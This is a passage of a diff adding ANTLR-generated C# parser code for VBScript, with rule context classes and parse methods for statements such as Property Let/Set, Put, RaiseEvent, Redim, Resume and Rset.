i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_PROPERTY() { return GetToken(VBScriptParser.END_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public PropertySetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_propertySetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPropertySetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPropertySetStmt(this); + } + } + + [RuleVersion(0)] + public PropertySetStmtContext propertySetStmt() { + PropertySetStmtContext _localctx = new PropertySetStmtContext(Context, State); + EnterRule(_localctx, 174, RULE_propertySetStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1877; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1874; + visibility(); + State = 1875; + Match(WS); + } + } + + State = 1881; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1879; + Match(STATIC); + State = 1880; + Match(WS); + } + } + + State = 1883; + Match(PROPERTY_SET); + State = 1884; + Match(WS); + State = 1885; + ambiguousIdentifier(); + State = 1890; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN || _la==WS) { + { + State = 1887; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1886; + Match(WS); + } + } + + State = 1889; + argList(); + } + } + + State = 1893; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1892; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1895; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,282,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1903; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1897; + block(); + State = 1899; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1898; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1901; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1905; + Match(END_PROPERTY); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PropertyLetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PROPERTY_LET() { return GetToken(VBScriptParser.PROPERTY_LET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_PROPERTY() { return GetToken(VBScriptParser.END_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public PropertyLetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_propertyLetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPropertyLetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPropertyLetStmt(this); + } + } + + [RuleVersion(0)] + public PropertyLetStmtContext propertyLetStmt() { + PropertyLetStmtContext _localctx = new PropertyLetStmtContext(Context, State); + EnterRule(_localctx, 176, RULE_propertyLetStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1910; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1907; + visibility(); + State = 1908; + Match(WS); + } + } + + State = 1914; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1912; + Match(STATIC); + State = 1913; + Match(WS); + } + } + + State = 1916; + Match(PROPERTY_LET); + State = 1917; + Match(WS); + State = 1918; + ambiguousIdentifier(); + State = 1923; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN || _la==WS) { + { + State = 1920; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1919; + Match(WS); + } + } + + State = 1922; + argList(); + } + } + + State = 1926; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1925; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1928; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,289,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1936; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1930; + block(); + State = 1932; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1931; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1934; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1938; + Match(END_PROPERTY); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PutStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUT() { return GetToken(VBScriptParser.PUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public PutStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_putStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPutStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPutStmt(this); + } + } + + [RuleVersion(0)] + public PutStmtContext putStmt() { + PutStmtContext _localctx = new PutStmtContext(Context, State); + EnterRule(_localctx, 178, RULE_putStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1940; + Match(PUT); + State = 1941; + Match(WS); + State = 1942; + valueStmt(0); + State = 1944; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1943; + Match(WS); + } + } + + State = 1946; + Match(COMMA); + State = 1948; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,293,Context) ) { + case 1: + { + State = 1947; + Match(WS); + } + break; + } + State = 1951; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,294,Context) ) { + case 1: + { + State = 1950; + valueStmt(0); + } + break; + } + State = 1954; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1953; + Match(WS); + } + } + + State = 1956; + Match(COMMA); + State = 1958; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,296,Context) ) { + case 1: + { + State = 1957; + Match(WS); + } + break; + } + State = 1960; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RaiseEventStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RAISEEVENT() { return GetToken(VBScriptParser.RAISEEVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + public RaiseEventStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_raiseEventStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRaiseEventStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRaiseEventStmt(this); + } + } + + [RuleVersion(0)] + public RaiseEventStmtContext raiseEventStmt() { + RaiseEventStmtContext _localctx = new RaiseEventStmtContext(Context, State); + EnterRule(_localctx, 180, RULE_raiseEventStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1962; + Match(RAISEEVENT); + State = 1963; + Match(WS); + State = 1964; + ambiguousIdentifier(); + State = 1979; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,301,Context) ) { + case 1: + { + State = 1966; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1965; + Match(WS); + } + } + + State = 1968; + Match(LPAREN); + State = 1970; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,298,Context) ) { + case 1: + { + State = 1969; + Match(WS); + } + break; + } + State = 1976; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9038161502195941409L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70249505L) != 0)) { + { + State = 1972; + argsCall(); + State = 1974; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1973; + Match(WS); + } + } + + } + } + + State = 1978; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RandomizeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOMIZE() { return GetToken(VBScriptParser.RANDOMIZE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public RandomizeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_randomizeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRandomizeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRandomizeStmt(this); + } + } + + [RuleVersion(0)] + public RandomizeStmtContext randomizeStmt() { + RandomizeStmtContext _localctx = new RandomizeStmtContext(Context, State); + EnterRule(_localctx, 182, RULE_randomizeStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1981; + Match(RANDOMIZE); + State = 1984; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,302,Context) ) { + case 1: + { + State = 1982; + Match(WS); + State = 1983; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RedimStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode REDIM() { return GetToken(VBScriptParser.REDIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimSubStmtContext[] redimSubStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimSubStmtContext redimSubStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRESERVE() { return GetToken(VBScriptParser.PRESERVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public RedimStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_redimStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRedimStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRedimStmt(this); + } + } + + [RuleVersion(0)] + public RedimStmtContext redimStmt() { + RedimStmtContext _localctx = new RedimStmtContext(Context, State); + EnterRule(_localctx, 184, RULE_redimStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1986; + Match(REDIM); + State = 1987; + Match(WS); + State = 1990; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,303,Context) ) { + case 1: + { + State = 1988; + Match(PRESERVE); + State = 1989; + Match(WS); + } + break; + } + State = 1992; + redimSubStmt(); + State = 2003; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,306,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1994; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1993; + Match(WS); + } + } + + State = 1996; + Match(COMMA); + State = 1998; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1997; + Match(WS); + } + } + + State = 2000; + redimSubStmt(); + } + } + } + State = 2005; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,306,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RedimSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptsContext subscripts() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + public RedimSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_redimSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRedimSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRedimSubStmt(this); + } + } + + [RuleVersion(0)] + public RedimSubStmtContext redimSubStmt() { + RedimSubStmtContext _localctx = new RedimSubStmtContext(Context, State); + EnterRule(_localctx, 186, RULE_redimSubStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2006; + ambiguousIdentifier(); + State = 2008; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2007; + Match(WS); + } + } + + State = 2010; + Match(LPAREN); + State = 2012; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,308,Context) ) { + case 1: + { + State = 2011; + Match(WS); + } + break; + } + State = 2014; + subscripts(); + State = 2016; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2015; + Match(WS); + } + } + + State = 2018; + Match(RPAREN); + State = 2021; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,310,Context) ) { + case 1: + { + State = 2019; + Match(WS); + State = 2020; + asTypeClause(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ResetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESET() { return GetToken(VBScriptParser.RESET, 0); } + public ResetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_resetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterResetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitResetStmt(this); + } + } + + [RuleVersion(0)] + public ResetStmtContext resetStmt() { + ResetStmtContext _localctx = new ResetStmtContext(Context, State); + EnterRule(_localctx, 188, RULE_resetStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2023; + Match(RESET); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ResumeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESUME() { return GetToken(VBScriptParser.RESUME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public ResumeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_resumeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterResumeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitResumeStmt(this); + } + } + + [RuleVersion(0)] + public ResumeStmtContext resumeStmt() { + ResumeStmtContext _localctx = new ResumeStmtContext(Context, State); + EnterRule(_localctx, 190, RULE_resumeStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2025; + Match(RESUME); + State = 2031; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,312,Context) ) { + case 1: + { + State = 2026; + Match(WS); + State = 2029; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,311,Context) ) { + case 1: + { + State = 2027; + Match(NEXT); + } + break; + case 2: + { + State = 2028; + ambiguousIdentifier(); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ReturnStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RETURN() { return GetToken(VBScriptParser.RETURN, 0); } + public ReturnStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_returnStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterReturnStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitReturnStmt(this); + } + } + + [RuleVersion(0)] + public ReturnStmtContext returnStmt() { + ReturnStmtContext _localctx = new ReturnStmtContext(Context, State); + EnterRule(_localctx, 192, RULE_returnStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2033; + Match(RETURN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RmdirStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RMDIR() { return GetToken(VBScriptParser.RMDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public RmdirStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_rmdirStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRmdirStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRmdirStmt(this); + } + } + + [RuleVersion(0)] + public RmdirStmtContext rmdirStmt() { + RmdirStmtContext _localctx = new RmdirStmtContext(Context, State); + EnterRule(_localctx, 194, RULE_rmdirStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2035; + Match(RMDIR); + State = 2036; + Match(WS); + State = 2037; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RsetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RSET() { return GetToken(VBScriptParser.RSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public RsetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_rsetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRsetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRsetStmt(this); + } + } + + [RuleVersion(0)] + public RsetStmtContext rsetStmt() { + RsetStmtContext _localctx = new RsetStmtContext(Context, State); + EnterRule(_localctx, 196, RULE_rsetStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2039; + Match(RSET); + State = 